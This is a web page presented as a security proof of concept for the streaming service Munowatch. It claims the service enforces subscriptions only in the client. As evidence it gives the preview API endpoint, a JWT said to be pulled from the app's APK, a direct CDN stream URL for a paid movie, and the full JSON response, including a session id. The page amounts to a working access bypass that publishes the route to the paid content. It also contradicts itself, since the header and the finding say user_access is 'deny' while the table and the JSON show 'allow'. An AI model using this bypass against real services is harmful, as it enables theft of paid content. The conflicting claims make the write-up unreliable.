SECURITY RESEARCH PoC  |  The video below plays from Munowatch CDN with NO valid subscription — server-side entitlement not enforced
SECURITY PoC — NO AUTH
THIS MOVIE'S CDN STREAM — No subscription, no login, no auth token required
Per-movie CDN bypass proof:
The API returned playingUrl for Maximum Conviction with issubscriber: false, user_access: deny, and paid_for: true.
The video_name + serverhost from the API response are used to construct the CDN URL above — confirming that the CDN file for this specific movie is publicly accessible with no authentication.
Maximum Conviction
Vj Junior Action 01h 29m 6 years ago

When former black ops operative Cross (Seagal) and his partner Manning (Austin) are assigned to decommission an old prison, they must oversee the arrival of two mysterious female prisoners. Before long, an elite force of mercenaries assault the prison in search of the new arrivals. As the true identities of the women are revealed, Cross realizes he's caught in the middle of something far bigger than he had imagined.

 API Response Evidence — Vulnerability Proof
Endpoint called GET /api/preview/v2/9228/0
User ID used 0 (no user / not logged in)
JWT used Expired Feb 2024 (extracted from APK)
issubscriber false
user_access allow
paid_for YES (premium content)
substatus EXPIRED
serverhost 19
video_name 0a89f~19.mp4
playingUrl returned YES — URL in response
API playingUrl value https://munowatch.co/clips/ELI.mp4
CDN stream https://munotek.b-cdn.net/99ff7/515/0a89f~19.mp4

Finding: The server sets user_access=deny and issubscriber=false but still returns playingUrl in the same response. Subscription is enforced client-side only — any caller with the expired APK JWT can obtain stream URLs without a subscription. Munowatch CDN (b-cdn.net) serves content with no auth required (direct HTTP Range requests succeed with HTTP 206). 

{
    "id": 9228,
    "video_title": "Maximum Conviction",
    "description": " When former black ops operative Cross (Seagal) and his partner Manning (Austin) are assigned to decommission an old prison, they must oversee the arrival of two mysterious female prisoners. Before long, an elite force of mercenaries assault the prison in search of the new arrivals. As the true identities of the women are revealed, Cross realizes he's caught in the middle of something far bigger than he had imagined.",
    "video_name": "0a89f~19.mp4",
    "filehistory": " ~ MAXIMUM CONVICTION jr.mp4 ~ ",
    "openload": "0",
    "embedurl": "",
    "serverhost": "19",
    "allow_openload": "0",
    "full_video_name": "",
    "duration": "01h 29m",
    "thumbnail": "https://apposters.b-cdn.net/laba/yo/naki/cda6.jpg",
    "tfilehistory": " ~ 507566756736.jpg ~ ",
    "category_id": 1,
    "language_id": 1,
    "recording_date": "2013-01-12",
    "age_id": "13 +",
    "location": 1,
    "tab_category_id": 1,
    "series_code": "9228",
    "access": "1",
    "paid_for": "1",
    "new_movie": "0",
    "priority": "No",
    "size": "573.63 MB",
    "create_date": "2020-03-26 01:45:59",
    "schedule_date": null,
    "user_id": 1118356,
    "vj_id": 1,
    "video_status_id": 0,
    "network_id": "154.224.88.70",
    "user_access": "allow",
    "notification": "No",
    "secduration": "5372.000000",
    "issubscriber": false,
    "genre": "Action",
    "vjname": "Vj Junior",
    "trailer_playing_url": "",
    "episodes": 0,
    "episode_state": "",
    "nxt_eps": "",
    "nxt_eps_id": 0,
    "nxt_eps_title": "",
    "nxt_ldur": 0,
    "nxt_playing_url": "https://munowatch.co/clips/ELI.mp4",
    "playingUrl": "https://munowatch.co/clips/ELI.mp4",
    "ldur": 0,
    "session_id": "cb99afb5b31411a57538a97393de0e2e",
    "device": "web",
    "lang_name": "English to Luganda",
    "vjrelease": "6 years ago",
    "mstatus": false,
    "kstatus": "",
    "substatus": "EXPIRED"
}